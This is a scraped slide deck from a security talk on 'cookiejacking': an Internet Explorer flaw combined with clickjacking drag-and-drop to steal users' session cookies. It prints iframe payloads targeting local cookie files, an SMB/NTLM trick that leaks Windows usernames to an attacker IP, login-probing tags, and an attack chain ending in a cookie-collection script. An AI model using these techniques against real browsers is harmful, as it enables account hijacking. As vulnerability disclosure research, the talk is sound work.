SlideShare a Scribd company logo
Cookiejacking
Rosario Valotta
Rosario Valotta Cookiejacking
Agenda
Me, myself and I
The IE security zones
IE 0-day
Overview on UI redressing attacks
Solving the jigsaw
The big picture
Demo
Rosario Valotta Cookiejacking
Me, myself and I
Day time: IT professional, mobile TLC company, Rome, Italy
Night time: web security fan since 2007, released a bunch of
advisories and PoCs:
Nduja Connection: first ever cross domain XSS worm
Critical Path Memova : 40 Millions users worldwide affected
WMP: information gathering and intranet scanning
OWA: CSRF
Blog: http://sites.google.com/site/tentacoloviola/
Rosario Valotta Cookiejacking
Overview on IE security zones
In IE, a web site is assigned to a security zone
Sites in the same security zone behave the same way according to security privileges
5 default zones:
Local Machine Zone
Local Intranet Zone
Trusted Sites Zone
Internet Zone
Restrited Sites Zone
Security profiles:
A collection of security privileges that can be granted to each given zone
Predefined: High, Medium, Medium-Low, Low
Customized
Privileges:
ActiveX & plugins
Downloads
User authentication
Scripting
Cross zone interaction
Decreasing security privileges
Hidden by default
Rosario Valotta Cookiejacking
Cross Zone Interaction
By rule of thumb a web content belonging to a less privileged zone
cannot access content belonging to more privileged zone
So it should be impossible for a web content to access local machine
files. It should be.
<iframe src=“file:///c:/test.txt”></iframe>
Access denied
Rosario Valotta Cookiejacking
Do not open that folder…aka IE 0-day
<iframe src="file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
What?
Cookies folder of the user currently logged
All kind of cookies:
HTTP Only
Secure (HTTPS) cookie
Any website
Where?
Works on IE 6,7, 8 (also protected mode)
Tested on XP SP3, Vista, 7
Rosario Valotta Cookiejacking
Of coordinated discosure and other oddities…
January 28th
Disclosed to MSRC
IE 9 beta still vulnerable
March 14°: first official release of IE9
IE9 not vulnerable
Two weeks ago
New attack vector found, works also on IE9
<iframe src="file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
<iframe src=“http://192.168.1.2/redir.pl?url=file:///C:/Documents and
Settings/tentacoloViola/Cookies/tentacoloviola@google[1].txt”></iframe>
Rosario Valotta Cookiejacking
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
document.getElementById(‘myId’).contentWindow.
document.innerHTML
Access
denied
file:///C:/Documents and Settings/user/Cookies/user@site.txt
Where do we go from here?
The path of the cookie folder depends on the
username currently logged on
Same Origin Policy will block any programmatic
access to a local iframe content from web domains
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Rosario Valotta Cookiejacking
Clickjacking aka UI Redressing attack
Introduced by Jeremiah Grossman and Robert Hansen in 2008
It’s all about:
Iframes overlapping
CSS opacity
opacity=0; z-index=1
opacity=100; z-index=0
The basic approach:
Iframe properly positioned
Iframe made invisible
User clicks “hijacked”
User interaction is needed, SOP is not triggered
Advanced scenario: content extraction (Paul Stone, 2010)
z-axis
Social engineer a victim
Select content from a legitimate 3rd party page
Drag&drop content in an attacker controlled element
Steal sensitive HTML contents
Links and Images are converted in URLs event.dataTransfer.getData(“Text”)
Rosario Valotta Cookiejacking
A
B
Advanced Clickjacking: content extraction
Third party iframe is positioned
on the start point of the
selectionA
The victim starts to select
content (e.g. text or html)
Third party iframe is positioned
on the end point of the
selectionB
The victim stops selecting
Third party iframe is positioned
somewhere between A and B
The victim drags the selected
content into an attacker controlled
iframe
The technique is made up of 6 steps:
Rosario Valotta Cookiejacking
Insights
Iframe loads cookie text file (0-day)
Ball image overlapped on the iframe
Content extraction technique
Attacks mash-up: how the SOP was won
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Opacity=0
Z-index=1
Opacity=100
Z-index=0
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
file:///C:/Documents and Settings/user/Cookies/user@site.txt
The path of the cookie folder depends on the
username currently logged on
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Drag & drop API doesn’t work well across browsers
Two different dragging actions required in order to:
select content
drag&drop it out of the iframe
Rosario Valotta Cookiejacking
Drag & drop
Drag & drop APIs
Acknowledged as one of the innovations introduced in HTML5
Not formally part of latest HTML5 draft
Based on Microsoft’s original implementation available on IE 5
Not fully supported on IE 6,7,8
Custom implementation on http://www.useragentman.com
Works well on all IE versions
Custom effects: drag feedback image, cursor shape change, etc
Rosario Valotta Cookiejacking
Advanced content extraction
Two nested iframes defined in the attacker
page
Iframes sizes properly defined in order to
ensure that scrolling is needed for the cookie
(B content) to completely come into view
E.g. A.height=100; B.height=500
The sequence:
User moves the mouse over the B iframe
When user clicks down the mouse button the
“onfocus” event is triggered
The scrollspeed property of the iframe A is
set to 100
With the mouse button down and the iframe
B scrolling into iframe A, the final effect is that
the user is selecting text as long as the mouse
button is clicked
If the scrollspeed is big enough, a single click
time is enough to select the whole cookie content
First drag action (content selection) collapsed
in a click
goes here.
You must set
the iframe
height
to ensure
that scrolling
is needed to
completey
select the
content
ACookie
contentB
onfocus=“scrollspeed=100”
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
file:///C:/Documents and Settings/user/Cookies/user@site.txt
The path of the cookie folder depends on the
username currently logged on
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Rosario Valotta Cookiejacking
I know your (user)name
Exploit a “feature” of IE (already discussed by Jorge Medina in 2010)
IE supports access to file system objects on SMB shares
Uses UNC (Universal Naming Convention) paths to reference them
Can be used without restrictions inside web pages in the Internet zone or above
<img src="[WEB SERVER IP ADDRESS]image.jpg">
Anonymous access is tried first
Anonymous access is denied
NTLM Challenge/Response Negotiation
Windows Username, Windows Computer Name, Windows Domain
Capture.pl
Rosario Valotta Cookiejacking
Missing pieces
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
Different OSs store cookies in different paths:
Windows XP C:/Documents and Settings/user/Cookies/
Vista and 7  C:/Users/user/AppData/Roaming/
Microsoft/Windows/Cookies/Low/
Optimize content
extraction
Rosario Valotta Cookiejacking
Little dirty secrets
The OS version can be retrieved through a little JS:
XP = navigator.userAgent.indexOf("Windows NT 5.1");
Vista= navigator.userAgent.indexOf("Windows NT 6.0");
Win7= navigator.userAgent.indexOf("Windows NT 6.1");
Is the cookie valid?
True if the victim is logged on a given website
Guess if a victim is logged using a “probing” approach (Jeremiah Grossman, 2006)
Dynamic attack setup
Probing for user authentication
Only define iframes to load valid cookies (1 iframe loads 1 cookie)
<img src="https://mail.google.com/mail/pimages/2/labs/labs_bar_icon.png"
onload=“doThis()" onerror=“doThat()”>
Rosario Valotta Cookiejacking
Ready to pown…
Find a way to access
cookies
Load arbitrary cookies
into an iframe
Guess victim’s
username
Guess victim’s OS
Optimize content
extraction
Rosario Valotta Cookiejacking
The big picture
A page containing <img src=“attackerIPdummy> is served
Victim’s browser requests img and send Windows username
Victim is cookiejacked and sends his cookies
Index.html
Capture.pl
User.txtRedir.pl
Onerror event the browser is redirected to a perl script
dragPoc.html
#username
The script read the username sniffed and redirects the
browser to the PoC page with the hash value set to username
Collect.php
Rosario Valotta Cookiejacking
The perfect PoC
- appealing “content”
+
- willingly “interact” with her
Rosario Valotta Cookiejacking
Conclusions
Cookiejacking: a new kind of UI redressing attack, exploiting a 0-day
vulnerability in all versions of IE, all version of Windows boxes
Allows an attacker to steal session cookies, no XSS needed
Web site independent: it’s a browser flaw
Current countermeasures against Clickjacking don’t work with
Cookiejacking
Think about using Flash…
It’s supposed to last for a long time: there is a huge installation
base all over the world
Rosario Valotta Cookiejacking
Thank you.

More Related Content

What's hot

Presentation on Internet Cookies
Presentation on Internet CookiesPresentation on Internet Cookies
Presentation on Internet Cookies
Ritika Barethia
 
from 33 to 0 - A journey to be root
from 33 to 0 - A journey to be rootfrom 33 to 0 - A journey to be root
from 33 to 0 - A journey to be root
Ammar WK
 
Owasp for dummies handouts
Owasp for dummies handoutsOwasp for dummies handouts
Owasp for dummies handouts
BCC
 
How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10
moli he
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
Frank Kim
 
Cookies: HTTP state management mechanism
Cookies: HTTP state management mechanismCookies: HTTP state management mechanism
Cookies: HTTP state management mechanism
Jivan Nepali
 

What's hot (6)

Presentation on Internet Cookies
Presentation on Internet CookiesPresentation on Internet Cookies
Presentation on Internet Cookies
 
from 33 to 0 - A journey to be root
from 33 to 0 - A journey to be rootfrom 33 to 0 - A journey to be root
from 33 to 0 - A journey to be root
 
Owasp for dummies handouts
Owasp for dummies handoutsOwasp for dummies handouts
Owasp for dummies handouts
 
How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10How to Password Protect a Folder in Windows10
How to Password Protect a Folder in Windows10
 
Modern Web Application Defense
Modern Web Application DefenseModern Web Application Defense
Modern Web Application Defense
 
Cookies: HTTP state management mechanism
Cookies: HTTP state management mechanismCookies: HTTP state management mechanism
Cookies: HTTP state management mechanism
 

Viewers also liked

S&T Gathering Data
S&T Gathering DataS&T Gathering Data
S&T Gathering Data
stirlinghspe
 
Presentation1 (1)
Presentation1 (1)Presentation1 (1)
Presentation1 (1)
ksingleton1522
 
Wg advertisement for usfor a
Wg advertisement for usfor aWg advertisement for usfor a
Wg advertisement for usfor a
Richard Burns
 
Evan baechler tweets & stocks
Evan baechler tweets & stocksEvan baechler tweets & stocks
Evan baechler tweets & stocks
Evan Baechler
 
BPS2011 Week 3
BPS2011 Week 3BPS2011 Week 3
BPS2011 Week 3
Keith Lyons
 
Smd Qtr1 char of life
Smd Qtr1 char of life Smd Qtr1 char of life
Smd Qtr1 char of life
Alyssa Boller
 
Balev bio
Balev bioBalev bio
Balev bio
Thomas Sørensen
 
紐西蘭
紐西蘭紐西蘭
紐西蘭
bonny1985
 
Proven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation HighwayProven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation Highway
aditimallick
 
The teacher's secret
The teacher's secretThe teacher's secret
The teacher's secret
lukas5235
 
Photography
PhotographyPhotography
Photography
mackenzies
 
3 1 1_limitadores
3 1 1_limitadores3 1 1_limitadores
3 1 1_limitadores
ITA
 
Baloncesto
BaloncestoBaloncesto
Baloncesto
serch-96
 
Irka's well
Irka's wellIrka's well
Irka's well
lukas5235
 
Increasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green BlueIncreasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green Blue
British Association for Sustainable Sport
 
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Angelleonlara102
 
Listen Technologies Conferencing Projects
Listen Technologies Conferencing ProjectsListen Technologies Conferencing Projects
Listen Technologies Conferencing Projects
ListenTechnologies
 
Afghan newsletter byars
Afghan newsletter   byarsAfghan newsletter   byars
Afghan newsletter byars
CDR Rhonda Byars, Nurse Corps, USN
 
French elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phaseFrench elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phase
Marine Belluet
 

Viewers also liked (20)

Dillaa
DillaaDillaa
Dillaa
 
S&T Gathering Data
S&T Gathering DataS&T Gathering Data
S&T Gathering Data
 
Presentation1 (1)
Presentation1 (1)Presentation1 (1)
Presentation1 (1)
 
Wg advertisement for usfor a
Wg advertisement for usfor aWg advertisement for usfor a
Wg advertisement for usfor a
 
Evan baechler tweets & stocks
Evan baechler tweets & stocksEvan baechler tweets & stocks
Evan baechler tweets & stocks
 
BPS2011 Week 3
BPS2011 Week 3BPS2011 Week 3
BPS2011 Week 3
 
Smd Qtr1 char of life
Smd Qtr1 char of life Smd Qtr1 char of life
Smd Qtr1 char of life
 
Balev bio
Balev bioBalev bio
Balev bio
 
紐西蘭
紐西蘭紐西蘭
紐西蘭
 
Proven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation HighwayProven Steps on the Habit Formation Highway
Proven Steps on the Habit Formation Highway
 
The teacher's secret
The teacher's secretThe teacher's secret
The teacher's secret
 
Photography
PhotographyPhotography
Photography
 
3 1 1_limitadores
3 1 1_limitadores3 1 1_limitadores
3 1 1_limitadores
 
Baloncesto
BaloncestoBaloncesto
Baloncesto
 
Irka's well
Irka's wellIrka's well
Irka's well
 
Increasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green BlueIncreasing a clubs environmental performance -common actions by The Green Blue
Increasing a clubs environmental performance -common actions by The Green Blue
 
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
Quizwarmup1esoseccioneseuropeas 100206040749-phpapp01
 
Listen Technologies Conferencing Projects
Listen Technologies Conferencing ProjectsListen Technologies Conferencing Projects
Listen Technologies Conferencing Projects
 
Afghan newsletter byars
Afghan newsletter   byarsAfghan newsletter   byars
Afghan newsletter byars
 
French elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phaseFrench elementary school facing the digital natives - Reasearches phase
French elementary school facing the digital natives - Reasearches phase
 

Similar to Cookiejacking2011 final

Cookie replay attack unit wise presentation
Cookie replay attack  unit wise presentationCookie replay attack  unit wise presentation
Cookie replay attack unit wise presentation
Nilu Desai
 
Secure Code Warrior - Local storage
Secure Code Warrior - Local storageSecure Code Warrior - Local storage
Secure Code Warrior - Local storage
Secure Code Warrior
 
Ce hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsersCe hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsers
Vi Tính Hoàng Nam
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)
msz
 
Web browsers
Web browsersWeb browsers
Web browsers
Nathalia Sanchez
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
Sukrit Gupta
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Cenzic
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)
msz
 
Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)
Microsoft Argentina y Uruguay [Official Space]
 
Web browsertico
Web browserticoWeb browsertico
Web browsertico
tico3195
 
Web Browser
Web BrowserWeb Browser
Web Browser
mandeag
 
Secure client
Secure clientSecure client
Secure client
Hai Nguyen
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
Jeremiah Grossman
 
Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1Outli
VannaSchrader3
 
Chrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainmentChrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainment
Eduardo Chavarro
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
Jeremiah Grossman
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
Magno Logan
 
Cisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magicCisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magic
ITrust - Cybersecurity as a Service
 
Firefox security (prasanna)
Firefox security (prasanna) Firefox security (prasanna)
Firefox security (prasanna)
ClubHack
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
Jeremiah Grossman
 

Similar to Cookiejacking2011 final (20)

Cookie replay attack unit wise presentation
Cookie replay attack  unit wise presentationCookie replay attack  unit wise presentation
Cookie replay attack unit wise presentation
 
Secure Code Warrior - Local storage
Secure Code Warrior - Local storageSecure Code Warrior - Local storage
Secure Code Warrior - Local storage
 
Ce hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsersCe hv6 module 53 hacking web browsers
Ce hv6 module 53 hacking web browsers
 
New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)New or obscure web browsers 4x3 (rcsi draft 6)
New or obscure web browsers 4x3 (rcsi draft 6)
 
Web browsers
Web browsersWeb browsers
Web browsers
 
Cookies and sessions
Cookies and sessionsCookies and sessions
Cookies and sessions
 
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App Drive By Downloads:  How To Avoid Getting a Cap Popped in Your App
Drive By Downloads: How To Avoid Getting a Cap Popped in Your App
 
New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)New or obscure web browsers (4x3 draft 5)
New or obscure web browsers (4x3 draft 5)
 
Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)Seguridad Corporativa Con Internet Explorer 8(1)
Seguridad Corporativa Con Internet Explorer 8(1)
 
Web browsertico
Web browserticoWeb browsertico
Web browsertico
 
Web Browser
Web BrowserWeb Browser
Web Browser
 
Secure client
Secure clientSecure client
Secure client
 
Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012Top Ten Web Hacking Techniques of 2012
Top Ten Web Hacking Techniques of 2012
 
Browser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1OutliBrowser Security – Issues and Best Practices1Outli
Browser Security – Issues and Best Practices1Outli
 
Chrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainmentChrome Extensions: Masking risks in entertainment
Chrome Extensions: Masking risks in entertainment
 
Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)Top Ten Web Hacking Techniques (2010)
Top Ten Web Hacking Techniques (2010)
 
XST - Cross Site Tracing
XST - Cross Site TracingXST - Cross Site Tracing
XST - Cross Site Tracing
 
Cisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magicCisco WebEx vulnerability: it’s a kind of magic
Cisco WebEx vulnerability: it’s a kind of magic
 
Firefox security (prasanna)
Firefox security (prasanna) Firefox security (prasanna)
Firefox security (prasanna)
 
Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008Top Ten Web Hacking Techniques – 2008
Top Ten Web Hacking Techniques – 2008
 

Recently uploaded

Predictably Improve Your B2B Tech Company's Performance by Leveraging Data
Predictably Improve Your B2B Tech Company's Performance by Leveraging DataPredictably Improve Your B2B Tech Company's Performance by Leveraging Data
Predictably Improve Your B2B Tech Company's Performance by Leveraging Data
Kiwi Creative
 
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
74nqk8xf
 
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
Timothy Spann
 
Learn SQL from basic queries to Advance queries
Learn SQL from basic queries to Advance queriesLearn SQL from basic queries to Advance queries
Learn SQL from basic queries to Advance queries
manishkhaire30
 
My burning issue is homelessness K.C.M.O.
My burning issue is homelessness K.C.M.O.My burning issue is homelessness K.C.M.O.
My burning issue is homelessness K.C.M.O.
rwarrenll
 
Natural Language Processing (NLP), RAG and its applications .pptx
Natural Language Processing (NLP), RAG and its applications .pptxNatural Language Processing (NLP), RAG and its applications .pptx
Natural Language Processing (NLP), RAG and its applications .pptx
fkyes25
 
Population Growth in Bataan: The effects of population growth around rural pl...
Population Growth in Bataan: The effects of population growth around rural pl...Population Growth in Bataan: The effects of population growth around rural pl...
Population Growth in Bataan: The effects of population growth around rural pl...
Bill641377
 
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
nyfuhyz
 
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
bopyb
 
Influence of Marketing Strategy and Market Competition on Business Plan
Influence of Marketing Strategy and Market Competition on Business PlanInfluence of Marketing Strategy and Market Competition on Business Plan
Influence of Marketing Strategy and Market Competition on Business Plan
jerlynmaetalle
 
Everything you wanted to know about LIHTC
Everything you wanted to know about LIHTCEverything you wanted to know about LIHTC
Everything you wanted to know about LIHTC
Roger Valdez
 
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
g4dpvqap0
 
The Ipsos - AI - Monitor 2024 Report.pdf
The  Ipsos - AI - Monitor 2024 Report.pdfThe  Ipsos - AI - Monitor 2024 Report.pdf
The Ipsos - AI - Monitor 2024 Report.pdf
Social Samosa
 
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
slg6lamcq
 
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
74nqk8xf
 
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
sameer shah
 
Challenges of Nation Building-1.pptx with more important
Challenges of Nation Building-1.pptx with more importantChallenges of Nation Building-1.pptx with more important
Challenges of Nation Building-1.pptx with more important
Sm321
 
Global Situational Awareness of A.I. and where its headed
Global Situational Awareness of A.I. and where its headedGlobal Situational Awareness of A.I. and where its headed
Global Situational Awareness of A.I. and where its headed
vikram sood
 
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdfEnhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
GetInData
 
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
74nqk8xf
 

Recently uploaded (20)

Predictably Improve Your B2B Tech Company's Performance by Leveraging Data
Predictably Improve Your B2B Tech Company's Performance by Leveraging DataPredictably Improve Your B2B Tech Company's Performance by Leveraging Data
Predictably Improve Your B2B Tech Company's Performance by Leveraging Data
 
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
一比一原版(牛布毕业证书)牛津布鲁克斯大学毕业证如何办理
 
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
06-04-2024 - NYC Tech Week - Discussion on Vector Databases, Unstructured Dat...
 
Learn SQL from basic queries to Advance queries
Learn SQL from basic queries to Advance queriesLearn SQL from basic queries to Advance queries
Learn SQL from basic queries to Advance queries
 
My burning issue is homelessness K.C.M.O.
My burning issue is homelessness K.C.M.O.My burning issue is homelessness K.C.M.O.
My burning issue is homelessness K.C.M.O.
 
Natural Language Processing (NLP), RAG and its applications .pptx
Natural Language Processing (NLP), RAG and its applications .pptxNatural Language Processing (NLP), RAG and its applications .pptx
Natural Language Processing (NLP), RAG and its applications .pptx
 
Population Growth in Bataan: The effects of population growth around rural pl...
Population Growth in Bataan: The effects of population growth around rural pl...Population Growth in Bataan: The effects of population growth around rural pl...
Population Growth in Bataan: The effects of population growth around rural pl...
 
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
一比一原版(UMN文凭证书)明尼苏达大学毕业证如何办理
 
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
一比一原版(GWU,GW文凭证书)乔治·华盛顿大学毕业证如何办理
 
Influence of Marketing Strategy and Market Competition on Business Plan
Influence of Marketing Strategy and Market Competition on Business PlanInfluence of Marketing Strategy and Market Competition on Business Plan
Influence of Marketing Strategy and Market Competition on Business Plan
 
Everything you wanted to know about LIHTC
Everything you wanted to know about LIHTCEverything you wanted to know about LIHTC
Everything you wanted to know about LIHTC
 
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
一比一原版(Glasgow毕业证书)格拉斯哥大学毕业证如何办理
 
The Ipsos - AI - Monitor 2024 Report.pdf
The  Ipsos - AI - Monitor 2024 Report.pdfThe  Ipsos - AI - Monitor 2024 Report.pdf
The Ipsos - AI - Monitor 2024 Report.pdf
 
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
一比一原版(UniSA毕业证书)南澳大学毕业证如何办理
 
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
一比一原版(Coventry毕业证书)考文垂大学毕业证如何办理
 
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
STATATHON: Unleashing the Power of Statistics in a 48-Hour Knowledge Extravag...
 
Challenges of Nation Building-1.pptx with more important
Challenges of Nation Building-1.pptx with more importantChallenges of Nation Building-1.pptx with more important
Challenges of Nation Building-1.pptx with more important
 
Global Situational Awareness of A.I. and where its headed
Global Situational Awareness of A.I. and where its headedGlobal Situational Awareness of A.I. and where its headed
Global Situational Awareness of A.I. and where its headed
 
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdfEnhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
Enhanced Enterprise Intelligence with your personal AI Data Copilot.pdf
 
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
一比一原版(Chester毕业证书)切斯特大学毕业证如何办理
 

Cookiejacking2011 final

  • 2. Rosario Valotta Cookiejacking Agenda Me, myself and I The IE security zones IE 0-day Overview on UI redressing attacks Solving the jigsaw The big picture Demo
  • 3. Rosario Valotta Cookiejacking Me, myself and I Day time: IT professional, mobile TLC company, Rome, Italy Night time: web security fan since 2007, released a bunch of advisories and PoCs: Nduja Connection: first ever cross domain XSS worm Critical Path Memova : 40 Millions users worldwide affected WMP: information gathering and intranet scanning OWA: CSRF Blog: http://sites.google.com/site/tentacoloviola/
